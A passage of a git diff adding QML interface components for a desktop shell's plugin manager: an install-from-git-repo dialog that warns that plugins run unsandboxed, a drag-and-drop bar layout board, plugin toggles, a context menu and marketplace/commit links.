Keys.BeforeItem + Keys.onEscapePressed: { + if (!dialog.running) dialog.closeRequested() + } + + MouseArea { + anchors.fill: parent + onClicked: { + if (!dialog.running) dialog.closeRequested() + } + } + + Rectangle { + id: card + + anchors.centerIn: parent + width: Math.min(parent.width - Style.space(32), Style.space(360)) + height: content.implicitHeight + Style.space(36) + color: dialog.panelBackground + radius: Style.cornerRadius + border.color: Style.selectedStateColor(dialog.foreground, Color.accent) + border.width: 1 + + ColumnLayout { + id: content + + anchors.fill: parent + anchors.margins: Style.space(18) + spacing: Style.space(12) + + Text { + text: "Install a plugin from a git repo" + textFormat: Text.PlainText + color: dialog.foreground + font.family: dialog.fontFamily + font.pixelSize: Style.font.title + font.bold: true + Layout.fillWidth: true + wrapMode: Text.WordWrap + } + + Text { + text: "Plugins run as arbitrary, unsandboxed code inside your omarchy-shell process. Only add repos you trust — review the code before you enable the plugin." + textFormat: Text.PlainText + color: Qt.darker(dialog.foreground, 1.6) + font.family: dialog.fontFamily + font.pixelSize: Style.font.bodySmall + Layout.fillWidth: true + wrapMode: Text.WordWrap + } + + TextField { + id: urlField + + placeholderText: "https://github.com/acme/omarchy-weather.git" + foreground: dialog.foreground + accent: Color.accent + font.family: dialog.fontFamily + Layout.fillWidth: true + onAccepted: { + if (urlField.text.trim() !== "" && !dialog.running) + dialog.installRequested(urlField.text) + } + } + + Text { + visible: dialog.result !== "" + text: dialog.result + textFormat: Text.PlainText + color: dialog.running ? dialog.foreground + : (dialog.failed ? Color.urgent + : Style.selectedStateColor(dialog.foreground, Color.accent)) + font.family: dialog.fontFamily + font.pixelSize: Style.font.caption + Layout.fillWidth: true + wrapMode: Text.WordWrap + } + + RowLayout { + Layout.fillWidth: true + + Item { Layout.fillWidth: true } + + Button { + text: dialog.result !== "" ? "Close" : "Cancel" + enabled: !dialog.running + foreground: dialog.foreground + accent: Color.accent + fontFamily: dialog.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(12) + verticalPadding: Style.space(6) + onClicked: dialog.closeRequested() + } + + Button { + text: dialog.running ? "Installing…" : "Install" + enabled: !dialog.running + foreground: dialog.foreground + accent: Color.accent + fontFamily: dialog.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(12) + verticalPadding: Style.space(6) + onClicked: dialog.installRequested(urlField.text) + } + } + } + } +} diff --git a/plugins/omaplug/panel/layout/Page.qml b/plugins/omaplug/panel/layout/Page.qml new file mode 100644 index 0000000..d8c9def --- /dev/null +++ b/plugins/omaplug/panel/layout/Page.qml @@ -0,0 +1,430 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui + +// Bar-layout board: the three bar sections side by side, each showing its +// widgets in live order. Drag a chip within a column to reorder, or across +// columns to move sections. Every drop calls back with (id, section, index) +// and the owner applies it with `omarchy bar move`, so the bar follows. +// +// Interaction notes: +// - The dragged chip stays in place as a dimmed placeholder; a thin accent +// line marks the exact insertion point. Neither changes delegate heights, +// so the list never shifts under the cursor mid-drag. +// - Plain hover does nothing — only an active drag shows indicators. +Rectangle { + id: board + + required property bool open + required property var sections + required property color foreground + required property string fontFamily + required property color panelBackground + + signal closeRequested + signal dropRequested(string pluginId, string section, int index) + + visible: open + color: panelBackground + + property bool _stayLoaded: false + onOpenChanged: { + if (open) { + _stayLoaded = true + // Never inherit a stale drag/selection look from a previous visit: + // the board always opens in a clean, unselected state. + cancelDrag() + } + } + + focus: true + Keys.onEscapePressed: { + if (board.dragId !== "") board.cancelDrag() + } + + // Active drag state, shared across the three columns. + property string dragId: "" + property string dragName: "" + property string dragFromSection: "" + property int dragFromIndex: -1 + property string dropSection: "" + property int dropIndex: -1 + property real ghostX: 0 + property real ghostY: 0 + + function startDrag(id, name, section, index, x, y) { + board.dragId = id + board.dragName = name + board.dragFromSection = section + board.dragFromIndex = index + board.dropSection = section + board.dropIndex = index + board.ghostX = x + board.ghostY = y + } + + function moveDrag(section, index, x, y) { + if (board.dragId === "") return + board.dropSection = section + board.dropIndex = index + board.ghostX = x + board.ghostY = y + } + + function endDrag() { + if (board.dragId === "") return + var id = board.dragId + var section = board.dropSection + var index = board.dropIndex + var fromSection = board.dragFromSection + var fromIndex = board.dragFromIndex + board.dragId = "" + board.dragName = "" + board.dragFromSection = "" + board.dragFromIndex = -1 + board.dropSection = "" + board.dropIndex = -1 + // No-op when dropped back where it started. + if (section === fromSection && (index === fromIndex || index === fromIndex + 1)) return + // Account for the removal shift when moving down within one column. + var target = (section === fromSection && index > fromIndex) ? index - 1 : index + board.dropRequested(id, section, target) + } + + function cancelDrag() { + board.dragId = "" + board.dragName = "" + board.dragFromSection = "" + board.dragFromIndex = -1 + board.dropSection = "" + board.dropIndex = -1 + } + + ColumnLayout { + anchors.fill: parent + anchors.margins: Style.space(16) + spacing: Style.space(10) + + RowLayout { + Layout.fillWidth: true + spacing: Style.space(8) + + Label { + text: "Bar Layout" + color: board.foreground + font.family: board.fontFamily + font.pixelSize: Style.font.body + font.bold: true + Layout.fillWidth: true + } + + Button { + text: "Back" + tooltipText: "Back to plugin list" + bordered: true + foreground: board.foreground + accent: Color.accent + fontFamily: board.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(10) + verticalPadding: Style.space(5) + onClicked: board.closeRequested() + } + } + + Label { + text: "Drag a widget to reorder — within its section or across sections." + textFormat: Text.PlainText + color: Qt.darker(board.foreground, 1.5) + font.family: board.fontFamily + font.pixelSize: Style.font.bodySmall + Layout.fillWidth: true + } + + RowLayout { + Layout.fillWidth: true + Layout.fillHeight: true + spacing: Style.space(8) + + Repeater { + model: board.sections + + ColumnLayout { + id: column + required property var modelData + + readonly property string section: modelData.section + readonly property var entries: modelData.entries + readonly property bool isDropColumn: board.dragId !== "" && board.dropSection === column.section + + Layout.fillWidth: true + Layout.fillHeight: true + spacing: Style.space(6) + + Label { + text: column.section.toUpperCase() + color: board.foreground + font.family: board.fontFamily + font.pixelSize: Style.font.caption + font.bold: true + horizontalAlignment: Text.AlignHCenter + Layout.fillWidth: true + } + + Rectangle { + Layout.fillWidth: true + Layout.fillHeight: true + radius: Style.cornerRadius > 0 ? Style.cornerRadius : 4 + color: column.isDropColumn + ? Util.alpha(Color.accent, 0.08) + : Util.alpha(board.foreground, 0.04) + border.color: column.isDropColumn + ? Util.alpha(Color.accent, 0.5) + : Util.alpha(board.foreground, 0.12) + border.width: 1 + + ListView { + id: sectionList + anchors.fill: parent + anchors.margins: Style.space(6) + clip: true + spacing: Style.space(4) + model: column.entries + // The board manages its own drop markers; never show the + // view's own current-item highlight or keep a selection. + currentIndex: -1 + highlight: null + keyNavigationEnabled: false + + Component.onCompleted: board.registerList(column.section, sectionList) + + delegate: Item { + id: chip + required property var modelData + required property int index + + readonly property string widgetId: modelData.id + readonly property string widgetName: modelData.name + readonly property bool isDragged: board.dragId === widgetId + // Insertion line sits above this chip. + readonly property bool showLineAbove: board.dragId !== "" + && board.dropSection === column.section + && board.dropIndex === index + // Insertion line sits below the last chip. + readonly property bool showLineBelow: board.dragId !== "" + && board.dropSection === column.section + && board.dropIndex === index + 1 + && index === sectionList.count - 1 + + width: sectionList.width + // Fixed height: the drop line is an overlay and never + // changes delegate geometry, so the list stays still. + height: Style.space(34) + + Rectangle { + id: chipCard + anchors.fill: parent + radius: height / 2 + color: chip.isDragged + ? Util.alpha(Color.accent, 0.25) + : Style.normalFillFor(board.foreground, Color.accent) + border.color: chip.isDragged + ? Color.accent + : Util.alpha(board.foreground, 0.15) + border.width: 1 + opacity: chip.isDragged ? 0.55 : 1.0 + + RowLayout { + anchors.fill: parent + anchors.leftMargin: Style.space(8) + anchors.rightMargin: Style.space(8) + spacing: Style.space(6) + + Text { + text: "⋮⋮" + color: Qt.darker(board.foreground, 1.4) + font.family: board.fontFamily + font.pixelSize: Style.font.caption + Layout.alignment: Qt.AlignVCenter + } + + Text { + text: chip.widgetName + textFormat: Text.PlainText + elide: Text.ElideRight + maximumLineCount: 1 + color: board.foreground + font.family: board.fontFamily + font.pixelSize: Style.font.bodySmall + Layout.fillWidth: true + Layout.alignment: Qt.AlignVCenter + } + } + + MouseArea { + id: chipMouse + anchors.fill: parent + hoverEnabled: true + // The enclosing ListView steals press-and-move for + // scrolling otherwise; keep the grab for dragging. + preventStealing: true + // Arrow at rest so chips read as a plain list; the hand + // only appears while a drag is actually in flight. + cursorShape: chipMouse.dragging ? Qt.ClosedHandCursor : Qt.ArrowCursor + acceptedButtons: Qt.LeftButton + + property real pressX: 0 + property real pressY: 0 + property bool dragging: false + + onPressed: function(mouse) { + pressX = mouse.x + pressY = mouse.y + dragging = false + } + onPositionChanged: function(mouse) { + // Ignore pure hover: a drag starts only while the left + // button is held. Without this gate, the first hover + // motion trips the threshold (pressX/pressY start at 0) + // and a phantom drag follows the cursor uninvited. + if (!(mouse.buttons & Qt.LeftButton)) return + if (!dragging + && (Math.abs(mouse.x - pressX) > 6 || Math.abs(mouse.y - pressY) > 6)) { + dragging = true + // NOTE: bare `index` — the Repeater context property. + // `chip.index` does not resolve and breaks drop math. + var start = board.mapFromItem(chip, mouse.x, mouse.y) + board.startDrag(chip.widgetId, chip.widgetName, column.section, index, start.x, start.y) + } + if (dragging) { + var p = board.mapFromItem(chip, mouse.x, mouse.y) + board.updateDropTarget(p.x, p.y) + } + } + onReleased: { + if (dragging) board.endDrag() + dragging = false + } + } + } + + // Insertion marker: a thin accent line overlaid at the top + // edge (or bottom edge for the end-of-list slot). Overlay — + // never affects layout, never shifts siblings. + Rectangle { + visible: chip.showLineAbove + anchors.top: parent.top + anchors.topMargin: -Style.space(3) + anchors.left: parent.left + anchors.right: parent.right + height: Style.space(3) + radius: height / 2 + color: Color.accent + } + + Rectangle { + visible: chip.showLineBelow + anchors.bottom: parent.bottom + anchors.bottomMargin: -Style.space(3) + anchors.left: parent.left + anchors.right: parent.right + height: Style.space(3) + radius: height / 2 + color: Color.accent + } + } + + // Empty column still accepts drops: any motion over it targets + // index 0, release commits the move. + MouseArea { + anchors.fill: parent + visible: sectionList.count === 0 + onPositionChanged: function(mouse) { + if (board.dragId === "") return + var p = board.mapFromItem(sectionList, mouse.x, mouse.y) + board.moveDrag(column.section, 0, p.x, p.y) + } + onReleased: { + if (board.dragId !== "") board.endDrag() + } + } + } + } + } + } + } + } + + // Ghost chip following the cursor during a drag. + Rectangle { + id: ghost + visible: board.dragId !== "" + width: Math.min(Style.space(200), board.width / 3 - Style.space(16)) + height: Style.space(34) + radius: height / 2 + color: Util.alpha(Color.accent, 0.85) + border.color: Color.accent + border.width: 1 + x: board.ghostX - width / 2 + y: board.ghostY - height / 2 + z: 100 + opacity: 0.9 + + Text { + anchors.centerIn: parent + width: parent.width - Style.space(16) + horizontalAlignment: Text.AlignHCenter + elide: Text.ElideRight + maximumLineCount: 1 + text: board.dragName + textFormat: Text.PlainText + color: Color.background + font.family: board.fontFamily + font.pixelSize: Style.font.bodySmall + font.bold: true + } + } + + function updateDropTarget(x, y) { + if (board.dragId === "") return + var names = ["left", "center", "right"] + for (var i = 0; i < names.length; i++) { + var list = board._lists[names[i]] + if (!list) continue + var p = board.mapToItem(list, x, y) + if (p.x < -Style.space(20) || p.y < -Style.space(40) || p.x > list.width + Style.space(20) + || p.y > list.height + Style.space(40)) continue + var idx = list.indexAt(list.width / 2, Math.max(0, Math.min(list.height - 1, p.y))) + board.moveDrag(names[i], idx === -1 ? list.count : idx, x, y) + return + } + } + + property var _lists: ({}) + + function registerList(section, list) { + var next = {} + for (var k in board._lists) next[k] = board._lists[k] + next[section] = list + board._lists = next + } + + // Position tracker covering gaps between chips and column padding. + // NoButton: tracks motion without stealing press/release from chips. + // Release always lands on the chip holding the mouse grab, so its own + // onReleased commits the drop no matter where the cursor ends up. + MouseArea { + anchors.fill: parent + enabled: board.dragId !== "" + acceptedButtons: Qt.NoButton + hoverEnabled: true + z: 50 + onPositionChanged: function(mouse) { + board.updateDropTarget(mouse.x, mouse.y) + } + } +} diff --git a/plugins/omaplug/panel/plugin/Actions.qml b/plugins/omaplug/panel/plugin/Actions.qml new file mode 100644 index 0000000..68efd5c --- /dev/null +++ b/plugins/omaplug/panel/plugin/Actions.qml @@ -0,0 +1,140 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui + +ColumnLayout { + id: actions + + required property var plugin + required property bool pluginEnabled + required property bool repoKnown + required property string updateState + required property bool updateRunning + required property string updatingId + required property color foreground + required property string fontFamily + + signal enabledChangeRequested(bool enabled) + signal sourceRequested(string sourceKey) + signal updateRequested(string sourceKey) + signal menuRequested(var sourceItem, real x, real y) + + readonly property bool showSourceRow: plugin.updatable && repoKnown + readonly property int menuWidth: toggle.trackHeight + readonly property int sourceWidth: toggle.implicitWidth + Style.space(6) + actions.menuWidth + + Layout.alignment: Qt.AlignRight | Qt.AlignVCenter + spacing: Style.space(4) + + RowLayout { + Layout.alignment: Qt.AlignRight | Qt.AlignVCenter + spacing: Style.space(6) + + // Active bar options cannot be disabled directly. Their reduced opacity + // mirrors the native-toggle guard while still allowing disabled plugins + // to be enabled from this row. + Item { + id: toggle + + readonly property bool checked: actions.pluginEnabled + readonly property bool canToggle: actions.plugin.canDisable || !checked + readonly property int trackHeight: Math.max(22, Math.round(Style.spacing.controlHeight * 0.55)) + readonly property int trackWidth: Math.round(trackHeight * 1.9) + readonly property int knobSize: Math.max(6, Math.round(trackHeight * 0.72)) + readonly property int inset: Math.max(1, Math.round((trackHeight - knobSize) / 2)) + + implicitWidth: trackWidth + implicitHeight: trackHeight + opacity: canToggle ? 1 : 0.4 + Layout.alignment: Qt.AlignVCenter + + Rectangle { + width: toggle.trackWidth + height: toggle.trackHeight + radius: Style.cornerRadius > 0 ? height / 2 : 0 + color: toggle.checked + ? Color.accent + : Style.normalFillFor(actions.foreground, Color.accent) + Behavior on color { ColorAnimation { duration: 120 } } + + Rectangle { + width: toggle.knobSize + height: toggle.knobSize + radius: Style.cornerRadius > 0 ? height / 2 : 0 + x: toggle.checked ? toggle.trackWidth - width - toggle.inset : toggle.inset + anchors.verticalCenter: parent.verticalCenter + color: toggle.checked ? Color.background : Qt.darker(actions.foreground, 1.25) + Behavior on x { NumberAnimation { duration: 120; easing.type: Easing.OutCubic } } + Behavior on color { ColorAnimation { duration: 120 } } + } + } + + MouseArea { + anchors.fill: parent + cursorShape: toggle.canToggle ? Qt.PointingHandCursor : Qt.ArrowCursor + onClicked: { + if (!toggle.canToggle) return + Qt.callLater(function() { actions.enabledChangeRequested(!toggle.checked) }) + } + } + } + + Button { + id: menuButton + + iconText: "\uf142" + tooltipText: "More actions" + visible: !actions.plugin.firstParty + bordered: true + borderSpec: menuButton.hot ? Border.none() + : Border.controlSpec("normal", menuButton.foreground, Color.accent) + foreground: actions.foreground + accent: Color.accent + fontFamily: actions.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: 0 + verticalPadding: Style.space(3) + Layout.preferredWidth: actions.menuWidth + Layout.minimumWidth: actions.menuWidth + Layout.maximumWidth: actions.menuWidth + Layout.preferredHeight: actions.menuWidth + Layout.minimumHeight: actions.menuWidth + Layout.maximumHeight: actions.menuWidth + Layout.alignment: Qt.AlignVCenter + onClicked: actions.menuRequested(menuButton, 0, menuButton.height) + } + } + + RowLayout { + visible: actions.showSourceRow + Layout.preferredWidth: actions.sourceWidth + Layout.minimumWidth: actions.sourceWidth + Layout.maximumWidth: actions.sourceWidth + Layout.alignment: Qt.AlignRight + spacing: Style.space(6) + + Button { + id: sourceButton + + visible: actions.plugin.updatable && actions.repoKnown + tooltipText: "Open plugin repository" + text: "SOURCE \uDB85\uDD94" + bordered: true + borderSpec: sourceButton.hot ? Border.none() + : Border.controlSpec("normal", sourceButton.foreground, Color.accent) + foreground: actions.foreground + accent: Color.accent + fontFamily: actions.fontFamily + fontSize: Style.font.caption + iconSize: Style.font.caption + horizontalPadding: 0 + verticalPadding: Style.space(3) + Layout.fillWidth: true + onClicked: actions.sourceRequested(actions.plugin.sourceKey) + } + } +} diff --git a/plugins/omaplug/panel/plugin/ContextMenu.qml b/plugins/omaplug/panel/plugin/ContextMenu.qml new file mode 100644 index 0000000..dc5d30f --- /dev/null +++ b/plugins/omaplug/panel/plugin/ContextMenu.qml @@ -0,0 +1,166 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui + +Rectangle { + id: menu + + required property bool open + required property var plugin + required property bool pluginEnabled + required property bool repoKnown + required property string updateState + required property bool updateRunning + required property point requestedPosition + required property color foreground + required property string fontFamily + required property color panelBackground + property bool canMove: false + property string currentSection: "" + + signal closeRequested + signal enabledChangeRequested(string pluginId, bool enabled) + signal sourceRequested(string sourceKey) + signal updateRequested(string sourceKey) + signal removalRequested(string pluginId) + signal moveRequested(string pluginId, string section) + + visible: open + color: "transparent" + focus: true + Keys.priority: Keys.BeforeItem + Keys.onEscapePressed: menu.closeRequested() + + MouseArea { + anchors.fill: parent + onClicked: menu.closeRequested() + } + + Rectangle { + id: card + + x: Math.min(menu.requestedPosition.x, parent.width - width - Style.space(4)) + y: Math.min(menu.requestedPosition.y, parent.height - height - Style.space(4)) + width: actions.implicitWidth + Style.space(8) + height: actions.implicitHeight + Style.space(8) + color: menu.panelBackground + radius: Style.cornerRadius + border.color: Util.alpha(menu.foreground, 0.2) + border.width: 1 + + ColumnLayout { + id: actions + + anchors.fill: parent + anchors.margins: Style.space(4) + spacing: Style.space(2) + implicitWidth: Style.space(180) + + Button { + text: menu.pluginEnabled + ? (menu.plugin && menu.plugin.canDisable ? "Disable" : "Active bar") + : "Enable" + enabled: menu.plugin && (menu.plugin.canDisable || !menu.pluginEnabled) + foreground: menu.foreground + accent: Color.accent + fontFamily: menu.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(8) + verticalPadding: Style.space(5) + Layout.fillWidth: true + Layout.alignment: Qt.AlignLeft + onClicked: { + menu.enabledChangeRequested(menu.plugin.id, !menu.pluginEnabled) + menu.closeRequested() + } + } + + Button { + visible: menu.plugin && menu.plugin.sourceKey !== "" && menu.repoKnown + text: "Source" + foreground: menu.foreground + accent: Color.accent + fontFamily: menu.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(8) + verticalPadding: Style.space(5) + Layout.fillWidth: true + Layout.alignment: Qt.AlignLeft + onClicked: { + menu.sourceRequested(menu.plugin.sourceKey) + menu.closeRequested() + } + } + + Button { + visible: menu.plugin && menu.plugin.updatable && menu.updateState === "UPDATE" + text: menu.updateRunning ? "Updating…" : "Update" + enabled: !menu.updateRunning + foreground: menu.foreground + accent: Color.accent + fontFamily: menu.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(8) + verticalPadding: Style.space(5) + Layout.fillWidth: true + Layout.alignment: Qt.AlignLeft + onClicked: { + menu.updateRequested(menu.plugin.sourceKey) + menu.closeRequested() + } + } + + // Bar-widget placement. Only visible for widgets currently on the bar; + // the widget's own section is marked and disabled so the menu shows + // where the widget lives now. + Repeater { + model: menu.canMove ? ["left", "center", "right"] : [] + + Button { + required property string modelData + + readonly property bool isCurrent: menu.currentSection === modelData + + visible: menu.canMove + text: (isCurrent ? "● " : "") + "Move to " + modelData + enabled: !isCurrent + opacity: isCurrent ? 0.55 : 1.0 + foreground: menu.foreground + accent: Color.accent + fontFamily: menu.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(8) + verticalPadding: Style.space(5) + Layout.fillWidth: true + Layout.alignment: Qt.AlignLeft + onClicked: { + menu.moveRequested(menu.plugin.id, modelData) + menu.closeRequested() + } + } + } + + Button { + visible: menu.plugin && !menu.plugin.firstParty + text: "Remove" + foreground: Color.urgent + accent: Color.urgent + fontFamily: menu.fontFamily + fontSize: Style.font.bodySmall + horizontalPadding: Style.space(8) + verticalPadding: Style.space(5) + Layout.fillWidth: true + Layout.alignment: Qt.AlignLeft + onClicked: { + var pluginId = menu.plugin.id + menu.closeRequested() + menu.removalRequested(pluginId) + } + } + } + } +} diff --git a/plugins/omaplug/panel/plugin/ListingLinks.qml b/plugins/omaplug/panel/plugin/ListingLinks.qml new file mode 100644 index 0000000..e884a32 --- /dev/null +++ b/plugins/omaplug/panel/plugin/ListingLinks.qml @@ -0,0 +1,238 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import "../Presentation.js" as Presentation + +RowLayout { + id: links + + required property string pluginId + required property var entry + required property string localCommit + required property string repoUrl + required property color foreground + required property string fontFamily + + signal openUrlRequested(string url) + + readonly property string snapshotCommit: entry && typeof entry.snapshotCommit === "string" + ? entry.snapshotCommit : "" + readonly property bool commitKnown: snapshotCommit !== "" && localCommit !== "" + readonly property bool commitMatches: commitKnown && snapshotCommit === localCommit + readonly property string compareUrl: Presentation.compareUrl(repoUrl, snapshotCommit, localCommit) + readonly property string snapshotUrl: Presentation.commitUrl(repoUrl, snapshotCommit) + readonly property string localUrl: Presentation.commitUrl(repoUrl, localCommit) + readonly property string marketplaceUrl: Presentation.marketplaceUrl(pluginId) + readonly property string checksUrl: Presentation.listingChecksUrl(pluginId) + + spacing: Style.space(6) + Layout.fillWidth: true + + // Every link can shrink or elide so this row never displaces the plugin + // actions at the right edge. + Item { + id: marketplaceLink + + readonly property int gap: 2 + Layout.preferredWidth: marketplaceIcon.width + marketplaceArrow.implicitWidth + gap + Layout.preferredHeight: Math.max(marketplaceIcon.height, marketplaceArrow.implicitHeight) + Layout.alignment: Qt.AlignVCenter + + // Omarchy Plugins favicon, based on Lucide's ISC-licensed cable icon. + Image { + id: marketplaceIcon + anchors.verticalCenter: parent.verticalCenter + source: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAADb0lEQVRYhe2WTWhcVRTHf+fNNAmh1tFQsISUErMSwUicSbOpLTSLiEUTECaTEl2JKEVU6MKvjboRFAu6cCNB7CNS0SKxWbQqtJCYSYsR6spa1Cgu2spYQup85P1d3DfT92YyHcTpqv3D4557vt+599x74TZudVg9Q08Npih1PA922vylbwGUG94H2kNH6YjNrBQabfZ2UVo/gPGAY/AD5cScHVu81iqBZAOn1Pki6DVQAbgrDPE5kKLUmQBejwWfSqcprc8A96GIYMvGqnLpg+Yvn/5vCYiesC4p5dL7Q26qJouq5tL9yL4Btm7iuw9sXrnhQfOXfmqWgBdzOD20E9PUdY6ddF91qoPKpvsi8o/C4AJ7AzruppzocRVEQDfow2bBob4CFe8wcOcN9Lfh2WHgkLK7d0HwcJj6jPn56NK8qcnMAMaTwD5ND+20j8/9tplDr27a7/zpEmIcNAoaRYwjLoV/fa8bgv6amezLTXwfr1HlxECzP2rcAwBmBfPzx6Ms5TJvA9uv5xp0Iq9KFxt8eEExIu9slkC8AtI/bqRbkRYVGKI7ptMm1FXAVkDjGL3kMnMSdzi2rYF6Ha3vb14CFe99tmw8A+wAHonVwOFPyskP2plAbAns2OJfkBxBfAZcjYiuOl5yxOm0Dw2b0PyFX4EnNPXQGPJOOGaQNf/sfDsDV+G1Vrm52LwN/weU3b0LT++4M6QK71Plhk8S2Es2+90vUf22VkDTmR4SwSJogmoHAY7WBF6woOlM7D5p7xKU7TnEPQAYXyHOIM4AJ0KNHVT0bNSkzUugQTfwB37+gIX9KzAmM6sYvcgejFq0twJmXW5k3SKHh4Ew1mM6IZpXIPCKtYMo8DY5y72umG4UIqXJzOOY1tzctiJSje+vGyVgyZ+hEtIaI3q7AQQ8VnMohQ+O4CIYGNuBL2rXSTSw6UIsTNMEAOUyC8AIbhnfIqn3ANjgBcTLof3X5uf3Ayib7sOz88C2Ji7/xux+O7r0e5XRYg/YIeCaC6RXqXCZCpcRr4TB10BP17Rnl1eRfRL5hdHYeSA7Gg3eMgHzl84RsAf4sUEozoPtNX/5YtyIKyFVMH/5lPnLp4BCnayGlm1os/mzGhsYItXzKEa1zVYoXJmz+QuND5GO4ruUOjbAIq9hm3DP+uKRVvFu49bDv15cMTlnbnc+AAAAAElFTkSuQmCC" + width: 14 + height: 14 + fillMode: Image.PreserveAspectFit + cache: false + } + + Text { + id: marketplaceArrow + x: marketplaceIcon.width + marketplaceLink.gap + anchors.verticalCenter: parent.verticalCenter + text: "↗" + textFormat: Text.PlainText + color: Color.accent + font.family: links.fontFamily + font.pixelSize: Style.font.caption + } + + HoverHandler { + id: marketplaceHover + cursorShape: Qt.PointingHandCursor + } + + TapHandler { + onTapped: links.openUrlRequested(links.marketplaceUrl) + } + + ToolTip.text: links.marketplaceUrl + ToolTip.visible: marketplaceHover.hovered + ToolTip.delay: 400 + } + + Text { + text: "|" + textFormat: Text.PlainText + color: Qt.darker(links.foreground, 2.4) + font.family: links.fontFamily + font.pixelSize: Style.font.caption + } + + Text { + visible: links.snapshotCommit !== "" + text: "\uDB81\uDF91 " + Presentation.shortSha(links.snapshotCommit) + textFormat: Text.PlainText + color: links.commitMatches ? Color.accent : Qt.darker(links.foreground, 1.6) + font.family: links.fontFamily + font.pixelSize: Style.font.caption + font.underline: snapshotHover.hovered && links.snapshotUrl !== "" + + ToolTip.text: links.snapshotUrl !== "" ? links.snapshotUrl : links.snapshotCommit + ToolTip.visible: snapshotHover.hovered + ToolTip.delay: 400 + + HoverHandler { + id: snapshotHover + cursorShape: links.snapshotUrl !== "" ? Qt.PointingHandCursor : Qt.ArrowCursor + } + + MouseArea { + anchors.fill: parent + enabled: links.snapshotUrl !== "" + cursorShape: Qt.PointingHandCursor + onClicked: links.openUrlRequested(links.snapshotUrl) + } + } + + Text { + visible: links.snapshotCommit === "" && links.localCommit !== "" + text: "\uDB81\uDF91 " + Presentation.shortSha(links.localCommit) + (links.localUrl !== "" ? " ↗" : "") + textFormat: Text.PlainText + color: Qt.darker(links.foreground, 1.6) + font.family: links.fontFamily + font.pixelSize: Style.font.caption + font.underline: localOnlyHover.hovered && links.localUrl !== "" + + HoverHandler { + id: localOnlyHover + cursorShape: links.localUrl !== "" ? Qt.PointingHandCursor : Qt.ArrowCursor + } + + MouseArea { + anchors.fill: parent + enabled: links.localUrl !== "" + cursorShape: Qt.PointingHandCursor + onClicked: links.openUrlRequested(links.localUrl) + } + } + + Text { + visible: links.snapshotCommit !== "" && links.localCommit !== "" && !links.commitMatches + text: "→" + textFormat: Text.PlainText + color: Qt.darker(links.foreground, 2.0) + font.family: links.fontFamily + font.pixelSize: Style.font.caption + } + + Text { + visible: links.snapshotCommit !== "" && links.localCommit !== "" && !links.commitMatches + text: Presentation.shortSha(links.localCommit) + (links.localUrl !== "" ? " ↗" : "") + textFormat: Text.PlainText + color: Color.accent + font.family: links.fontFamily + font.pixelSize: Style.font.caption + font.underline: localHover.hovered && links.localUrl !== "" + + ToolTip.text: links.localUrl !== "" ? links.localUrl : links.localCommit + ToolTip.visible: localHover.hovered + ToolTip.delay: 400 + + HoverHandler { + id: localHover + cursorShape: links.localUrl !== "" ? Qt.PointingHandCursor : Qt.ArrowCursor + } + + MouseArea { + anchors.fill: parent + enabled: links.localUrl !== "" + cursorShape: Qt.PointingHandCursor + onClicked: links.openUrlRequested(links.localUrl) + } + } + + Text { + visible: links.compareUrl !== "" + text: "|" + textFormat: Text.PlainText + color: Qt.darker(links.foreground, 2.4) + font.family: links.fontFamily + font.pixelSize: Style.font.caption + } + + Text { + visible: links.compareUrl !== "" + text: "view changes ↗" + textFormat: Text.PlainText + color: Color.accent + font.family: links.fontFamily + font.pixelSize: Style.font.caption + font.underline: compareHover.hovered + elide: Text.ElideRight + ToolTip.text: links.compareUrl + ToolTip.visible: compareHover.hovered + ToolTip.delay: 400 + + HoverHandler { + id: compareHover + cursorShape: Qt.PointingHandCursor + } + + MouseArea { + anchors.fill: parent + cursorShape: Qt.PointingHandCursor + onClicked: links.openUrlRequested(links.compareUrl) + } + } + + Text { + text: "|" + textFormat: Text.PlainText + color: Qt.darker(links.foreground, 2.4) + font.family: links.fontFamily + font.pixelSize: Style.font.caption + } + + Text { + text: "Listing checks ↗" + textFormat: Text.PlainText + color: Color.accent + font.family: links.fontFamily + font.pixelSize: Style.font.caption + font.underline: checksHover.hovered + elide: Text.ElideRight + Layout.fillWidth: true + Layout.minimumWidth: 0 + ToolTip.text: links.checksUrl + ToolTip.visible: checksHover.hovered + ToolTip.delay: 400 + + HoverHandler { + id: checksHover + cursorShape: Qt.PointingHandCursor + } + + MouseArea { + anchors.fill: parent + cursorShape: Qt.PointingHandCursor + onClicked: links.openUrlRequested(links.checksUrl) + } + } +} diff --git a/plugins/omaplug/panel/plugin/Row.qml b/plugins/omaplug/panel/plugin/Row.qml new file mode 100644 index 0000000..102865b --- /dev/null +++ b/plugins/omaplug/panel/plugin/Row.qml @@ -0,0 +1,382 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import QtQuick.Controls +import QtQuick.Layouts +import qs.Commons +import qs.Ui +import "../Presentation.js" as Presentation + +Item { + id: pluginRow + + required property var modelData + required property int index + required property int rowCount + required property var marketplaceEntry + required property string localCommit + required property string repoUrl + required property bool repoKnown + required property string updateState + required property bool removeSelectMode + required property bool selectedForRemoval + required property bool removingPlugin + required property bool pluginEnabled + required property bool updateRunning + required property string updatingId + required property string icon + required property var knownKinds + required property color foreground + required property string fontFamily + + signal removalSelectionRequested(string pluginId) + signal enabledChangeRequested(string pluginId, bool enabled) + signal openUrlRequested(string url) + signal sourceRequested(string sourceKey) + signal updateRequested(string sourceKey) + signal menuRequested(string pluginId, var sourceItem, real x, real y) + + readonly property bool listed: marketplaceEntry !== null + readonly property bool verified: listed && marketplaceEntry.verified === true + readonly property bool updateUnverified: listed && !verified + 